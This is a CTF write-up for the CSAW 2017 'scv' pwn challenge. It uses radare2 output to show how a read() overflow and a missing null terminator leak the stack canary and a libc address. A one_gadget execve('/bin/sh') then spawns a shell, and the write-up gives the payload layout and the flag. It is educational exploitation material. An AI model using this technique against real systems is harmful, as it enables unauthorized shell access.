# CSAW '17## scv (pwn 100)
https://ctf.csaw.io/challenges#scv
> SCV is too hungry to mine the minerals. Can you give him some food?
> `nc pwn.chal.csaw.io 3764`
### Recon
We are provided with the remote connection details, a binary `scv`, and a library `libc-2.23.so`. The library is probably the build of libc that is running on the remote server, which means if we can locate its address at runtime, we can potentially perform a ret2libc attack using ROP.
When we run the binary, we are greeted with an friendly interface:```$ ./scv-------------------------[*]SCV GOOD TO GO,SIR....-------------------------1.FEED SCV....2.REVIEW THE FOOD....3.MINE MINERALS....------------------------->>```We can choose any one of these functions and it will do what it says:```>>1-------------------------[*]SCV IS ALWAYS HUNGRY.....-------------------------[*]GIVE HIM SOME FOOD.......------------------------->>abcdefgh-------------------------[*]SCV GOOD TO GO,SIR....-------------------------1.FEED SCV....2.REVIEW THE FOOD....3.MINE MINERALS....------------------------->>2-------------------------[*]REVIEW THE FOOD...........-------------------------[*]PLEASE TREAT HIM WELL.....-------------------------abcdefgh"`-------------------------[*]SCV GOOD TO GO,SIR....-------------------------1.FEED SCV....2.REVIEW THE FOOD....3.MINE MINERALS....------------------------->>3[*]BYE ~ TIME TO MINE MIENRALS...```So this program accepts input from the user, allows the user to read that data back, and quit the program. What's interesting is that it printed some garbage after the input, which means they don't properly terminate the string when they read it from the user. We can potentially leak some interesting information from that.
Now let's open the program in radare, analyze how it works, and see if we can make sense of the garbage after our input:```$ r2 scv> aaa> s main> pdf```At the top, we see our stack variables:```|           ; var int local_bch @ rbp-0xbc|           ; var int local_b8h @ rbp-0xb8|           ; var int local_b4h @ rbp-0xb4|           ; var int local_b0h @ rbp-0xb0|           ; var int local_8h @ rbp-0x8```We'll eventually figure out what all of these are for. Let's go to where the main loop starts:```|           0x00400aec      c78544ffffff.  mov dword [local_bch], 0|           0x00400af6      c78548ffffff.  mov dword [local_b8h], 1|           0x00400b00      c7854cffffff.  mov dword [local_b4h], 0|              ; JMP XREF from 0x00400dc0 (main)|       .-> 0x00400b0a      83bd48ffffff.  cmp dword [local_b8h], 0|      ,==< 0x00400b11      0f84ae020000   je 0x400dc5```Okay, so we can identify `local_b8h` as a sentinel value for this loop that will break execution when it is set to 0. Let's now go to the code where it accepts user input:```|   |||||   0x00400cba      488d8550ffff.  lea rax, qword [local_b0h]|   |||||   0x00400cc1      baf8000000     mov edx, 0xf8               ; 248|   |||||   0x00400cc6      4889c6         mov rsi, rax|   |||||   0x00400cc9      bf00000000     mov edi, 0|   |||||   0x00400cce      e82dfcffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)|   |||||   0x00400cd3      89854cffffff   mov dword [local_b4h], eax|  ,======< 0x00400cd9      e9e2000000     jmp 0x400dc0```Okay, so the program uses a call to `read` to read our input. Our input buffer is located on the stack at `local_b0h`, which is 0xa8 (168) bytes long. Here, we run into the same vulnerability that was present on pilot: the maximum length is set to 0xf8 (248) bytes, which is much longer than our buffer! This is most likely the intentional bug that will allow us to overwrite the return address of `main`. If we also look up the [documentation](http://www.cplusplus.com/reference/istream/istream/read/) of `read`, we figure out why we got some garbage data:
> Extracts n characters from the stream and stores them in the array pointed to by s.
> This function simply copies a block of data, without checking its contents **nor appending a null character at the end.**
So, the program is writing our input to the buffer without a null terminator. This can be used to potentially leak almost anything above it on the stack!
Now let's check out the code that outputs the buffer to the stream:```|  ||| ||   0x00400d6a      488d8550ffff.  lea rax, qword [local_b0h]|  ||| ||   0x00400d71      4889c7         mov rdi, rax|  ||| ||   0x00400d74      e857fbffff     call sym.imp.puts           ; int puts(const char *s)|  |||,===< 0x00400d79      eb45           jmp 0x400dc0```According to the [documentation](http://www.cplusplus.com/reference/cstdio/puts/) of `puts`, the function will output data to the stream until a null character is reached. This confirms that we can leak data from the stack.
Okay, our last important path of execution is exiting the program:```|  ||`----> 0x00400d7b      c78548ffffff.  mov dword [local_b8h], 0              ; cout << ("[*]BYE ~ TIME TO MINE MIENRALS...")|  ||,====< 0x00400da1      eb1d           jmp 0x400dc0```This does just as we would expect; it sets our sentinel value to 0, so on the next iteration of the loop, execution will jump to the end of the `main` function:```|      `--> 0x00400dc5      b800000000     mov eax, 0|           0x00400dca      488b4df8       mov rcx, qword [local_8h]|           0x00400dce      6448330c2528.  xor rcx, qword fs:[0x28]|       ,=< 0x00400dd7      7405           je 0x400dde|       |   0x00400dd9      e872fbffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)|       `-> 0x00400dde      c9             leave\           0x00400ddf      c3             ret```So the value of `local_8h` is a canary to prevent overwriting the return address of main. The rest of this is a standard `leave ; ret` that frees the current stack frame and returns to the caller.
### Exploit
Let's review what we know.
- The program accepts our input, writes it to a buffer, and allows us to access it later. However, that data is not terminated by a null character when it is written, so we can use it to leak data on the stack.- We have a buffer overflow exploit that is capable of overwriting the return address.- There is a canary just above our buffer that is used to prevent buffer overflows. However, remember that we have a data leak vulnerability as well. If we can leak that canary value, we will be able to append it to our payload and prevent it from being damaged.- Unfortunately, we don't receive the address to our buffer, and a quick check with the `i~nx` command in radare2 tells us that the NX bit is set for this program, so we wouldn't be able to execute the stack anyway, so shellcodes aren't viable. Instead, we may have to rely on ROP gadgets.- We are provided with the libc that is loaded on the remote machine, so that gives us a large search space for potential ROP gadgets if we can somehow leak a known location in libc.
Reopen `scv` in debugging mode, we're going to analyze what we can leak on the stack.```$ r2 -d scv> aaa> pdf @main```Let's set a breakpoint right where the initial loop starts and continue to it:```> db 0x00400b0a> dc```Now let's read what the stack looks like:```> px @rsp- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF0x7ffc761aea60  0000 0000 0000 0000 0100 0000 0000 0000  ................0x7ffc761aea70  8020 6000 0000 0000 f922 6000 0000 0000  . `......"`.....0x7ffc761aea80  3009 4000 0000 0000 3009 4000 0000 0000  [email protected].@.....0x7ffc761aea90  8020 6000 0000 0000 2a87 8a92 dc7f 0000  . `.....*.......0x7ffc761aeaa0  0100 0000 0000 0000 d0ea 1a76 fc7f 0000  ...........v....0x7ffc761aeab0  f81d 6000 0000 0000 1b0e 4000 0000 0000  ..`.......@.....0x7ffc761aeac0  d0eb 1a76 fc7f 0000 ffff 0000 0100 0000  ...v............0x7ffc761aead0  e0ea 1a76 fc7f 0000 310e 4000 0000 0000  ...v....1.@.....0x7ffc761aeae0  0200 0000 0000 0000 8d0e 4000 0000 0000  ..........@.....0x7ffc761aeaf0  ffff ffff 0000 0000 0000 0000 0000 0000  ................0x7ffc761aeb00  400e 4000 0000 0000 a009 4000 0000 0000  @.@.......@.....0x7ffc761aeb10  00ec 1a76 fc7f 0000 00eb 9169 9b99 6398  ...v.......i..c.0x7ffc761aeb20  400e 4000 0000 0000 6a1f 8992 dc7f 0000  @[email protected].......0x7ffc761aeb30  0000 0000 0000 0000 08ec 1a76 fc7f 0000  ...........v....0x7ffc761aeb40  0000 0000 0100 0000 960a 4000 0000 0000  ..........@.....0x7ffc761aeb50  0000 0000 0000 0000 bca9 c859 5d8f 1235  ...........Y]..5```Looks familiar; this is what our stack looks like before our data goes in. At 0x7ffc761aeb18 is `rbp - 8`, which we know is our canary value. If we re-run the program several times, we notice that the canary almost always starts with a null byte (0x00), which seems troublesome. However, if we overwrite that null byte, we can safely assume that it will probably be null, so we can bypass it, read the rest of the canary value, and prepend it later. When we put this back onto the stack, we won't have to worry about the null bytes; `read` ignores them.
We'll need to send 0xa9 (169) bytes, but remember, newline counts as one. So let's continue the program and send 0xa8 bytes of padding:```> dcSelecting and continuing: 23263-------------------------[*]SCV GOOD TO GO,SIR....-------------------------1.FEED SCV....2.REVIEW THE FOOD....3.MINE MINERALS....------------------------->>1-------------------------[*]SCV IS ALWAYS HUNGRY.....-------------------------[*]GIVE HIM SOME FOOD.......------------------------->>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaahit breakpoint at: 400b0a```
Now if we read our buffer back, we should get our canary:```> dcSelecting and continuing: 23263-------------------------[*]SCV GOOD TO GO,SIR....-------------------------1.FEED SCV....2.REVIEW THE FOOD....3.MINE MINERALS....------------------------->>2-------------------------[*]REVIEW THE FOOD...........-------------------------[*]PLEASE TREAT HIM WELL.....-------------------------aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa��i��c�@@hit breakpoint at: 400b0a```It's hard to recognize patterns in junk encoded into ASCII, but we can definitely see 2 printable characters that are also in our hexdump. Looks like that is successful.
The next thing that we need to find is an address to a location inside of libc. Probably the easiest way is to examine the backtrace of `main`. It should at least contain a reference to `__libc_start_main`. We can rely on the return address of the libc function to always point to the same location in libc, so we can create an offset from that:```> dbt0  0x400b0a           sp: 0x0                 0    [main]  rip main+1161  0x7fdc92891f6a     sp: 0x7ffc761aeb28      200  [??]  section_end..bss-18428077022  0x4009c9           sp: 0x7ffc761aebe8      192  [??]  entry0+41```The first column of addresses looks like standard locations for code inside our program, except for the second one. Let's examine where that return address points, and see if we can find it inside our libc:```> pd 20@0x7fdc92891f6a            0x7fdc92891f6a      89c7           mov edi, eax            0x7fdc92891f6c      e84f650100     call 0x7fdc928a84c0            0x7fdc92891f71      488b05f85639.  mov rax, qword [0x7fdc92c27670] ; [0x7fdc92c27670:8]=0            0x7fdc92891f78      48c1c811       ror rax, 0x11            0x7fdc92891f7c      644833042530.  xor rax, qword fs:[0x30]            0x7fdc92891f85      ffd0           call rax            0x7fdc92891f87      488b05d25639.  mov rax, qword [0x7fdc92c27660] ; [0x7fdc92c27660:8]=0            0x7fdc92891f8e      48c1c811       ror rax, 0x11            0x7fdc92891f92      644833042530.  xor rax, qword fs:[0x30]            0x7fdc92891f9b      f0ff08         lock dec dword [rax]            0x7fdc92891f9e      0f94c2         sete dl            0x7fdc92891fa1      84d2           test dl, dl        ,=< 0x7fdc92891fa3      752f           jne 0x7fdc92891fd4        |   0x7fdc92891fa5      ba3c000000     mov edx, 0x3c           ; '<' ; 60        |   0x7fdc92891faa      660f1f440000   nop word [rax + rax]       .--> 0x7fdc92891fb0      31ff           xor edi, edi       ||   0x7fdc92891fb2      89d0           mov eax, edx       ||   0x7fdc92891fb4      0f05           syscall       `==< 0x7fdc92891fb6      ebf8           jmp 0x7fdc92891fb0        |   0x7fdc92891fb8      488b442408     mov rax, qword [rsp + 8] ; [0x8:8]=-1 ; 8```
Let's open libc and search for these instructions:```$ r2 /usr/lib/libc.so.6> e search.from = 0> /x 89c7e84f650100Searching 7 bytes in [0x0-0x3b68d0]hits: 20x00020f6a hit0_0 89c7e84f6501000x001d3f62 hit0_1 0000000000000d> pd 20@hit0_0            ;-- hit0_0:            0x00020f6a      89c7           mov edi, eax            0x00020f6c      e84f650100     call sym.exit            0x00020f71      488b05f85639.  mov rax, qword [0x003b6670] ; [0x3b6670:8]=0xfff10004000018ba            0x00020f78      48c1c811       ror rax, 0x11            0x00020f7c      644833042530.  xor rax, qword fs:[0x30]            0x00020f85      ffd0           call rax            0x00020f87      488b05d25639.  mov rax, qword [0x003b6660] ; [0x3b6660:8]=0            0x00020f8e      48c1c811       ror rax, 0x11            0x00020f92      644833042530.  xor rax, qword fs:[0x30]            0x00020f9b      f0ff08         lock dec dword [rax]            0x00020f9e      0f94c2         sete dl            0x00020fa1      84d2           test dl, dl        ,=< 0x00020fa3      752f           jne 0x20fd4        |   0x00020fa5      ba3c000000     mov edx, 0x3c               ; section_end..gnu.warning.inet6_option_alloc ; u"GF\x06"        |   0x00020faa      660f1f440000   nop word [rax + rax]       .--> 0x00020fb0      31ff           xor edi, edi       ||   0x00020fb2      89d0           mov eax, edx       ||   0x00020fb4      0f05           syscall       `==< 0x00020fb6      ebf8           jmp 0x20fb0        |   0x00020fb8      488b442408     mov rax, qword [rsp + 8]    ; sym.__resp ; [0x8:8]=0```Hey, check that out! The return address from `main` actually points to a location in libc! We can use its offset location (0x00020f6a) to determine the global libc offset.
Let's go back to the debugging session and see if we can leak the return address. It will take 0xb8 (184) characters to overflow. Subtract 1 for the newline character, and that's our new payload. In the actual exploit, we will need to include the canary as part of the payload, but for now, we won't worry about that:```> dcSelecting and continuing: 23263-------------------------[*]SCV GOOD TO GO,SIR....-------------------------1.FEED SCV....2.REVIEW THE FOOD....3.MINE MINERALS....------------------------->>1-------------------------[*]SCV IS ALWAYS HUNGRY.....-------------------------[*]GIVE HIM SOME FOOD.......------------------------->>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaahit breakpoint at: 400b0a> dcSelecting and continuing: 23263-------------------------[*]SCV GOOD TO GO,SIR....-------------------------1.FEED SCV....2.REVIEW THE FOOD....3.MINE MINERALS....------------------------->>2-------------------------[*]REVIEW THE FOOD...........-------------------------[*]PLEASE TREAT HIM WELL.....-------------------------aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?���hit breakpoint at: 400b0a```Looks like it works! We still have 0x40 (64) bytes to use for a ROP payload.
Now we need to figure out what ROP gadgets we need in order to spawn a shell. At first, I was using [ROPgadget](http://shell-storm.org/project/ROPgadget/) to form my own ROP chain, but after several hours, I still had no luck. At this point, the competition was over, and I put this challenge aside for a little while and rested.
When I resumed the search, I completely accidentally stumbled upon a tool called [one_gadget](https://github.com/david942j/one_gadget/) that can find gadgets that spawn a shell. Very quickly. Some of them have constraints that require certain values on the stack or elsewhere; however, that can easily be accommodated. Running it on the local `libc.so` unfortunately didn't return any results; however, I found something more interesting on the remote lib:```$ one_gadget libc-2.23.so0x4526a	execve("/bin/sh", rsp+0x30, environ)constraints:  [rsp+0x30] == NULL
0xcd0f3	execve("/bin/sh", rcx, r12)constraints:  [rcx] == NULL || rcx == NULL  [r12] == NULL || r12 == NULL
0xcd1c8	execve("/bin/sh", rax, r12)constraints:  [rax] == NULL || rax == NULL  [r12] == NULL || r12 == NULL
0xf0274	execve("/bin/sh", rsp+0x50, environ)constraints:  [rsp+0x50] == NULL
0xf1117	execve("/bin/sh", rsp+0x70, environ)constraints:  [rsp+0x70] == NULL
0xf66c0	execve("/bin/sh", rcx, [rbp-0xf8])constraints:  [rcx] == NULL || rcx == NULL  [[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL```That first gadget looks perfect for our constraints! We have complete control of the stack, and putting a NULL word 0x30 (48) bytes past our return address fits too perfectly into the size we are allotted. With that, our final payload is going to be exactly 0xf8 bytes.
Here's the final list of steps we need to perform an exploit:
1. Send 0xa8 bytes of padding to the server, followed by a new line.2. Read back the buffer, and store the leaked canary (remember to restore the leading null byte).3. Send 0xb7 bytes of padding to the server plus a new line.4. Read back the buffer, and store the leaked return address (last two bytes (MSB) will be null and therefore not sent. Keep that in mind).5. Compute the global offset of libc by subtracting the offset we found earlier (0x00020f6a) from the return address.6. Modify our ROP chain; add the global offset to the libc address.6. Send the final payload: 0xa8 bytes of padding + canary value + 8 bytes of padding + ROP chain + 0x30 bytes of padding + 8 bytes of NULL (0x00)7. Tell the program to exit.8. Profit! `cat flag`
### Solution
The exploit is implemented in [`exploit.py`](https://gitlab.com/AGausmann/ctfs/blob/master/2017/csaw/scv/exploit.py), with hooks to a local process, a local socket, and a remote socket. I have also included a [rarun2 script](scv.rr2) that binds the program stdin/stdout to the same local socket so that you can run the exploit in a radare debugging session and see it in action. The various connections are controlled by the `rc` variable in `exploit.py`. Just uncomment whichever `rc = ...` line you need.
Flag: `flag{sCv_0n1y_C0st_50_M!n3ra1_tr3at_h!m_we11}`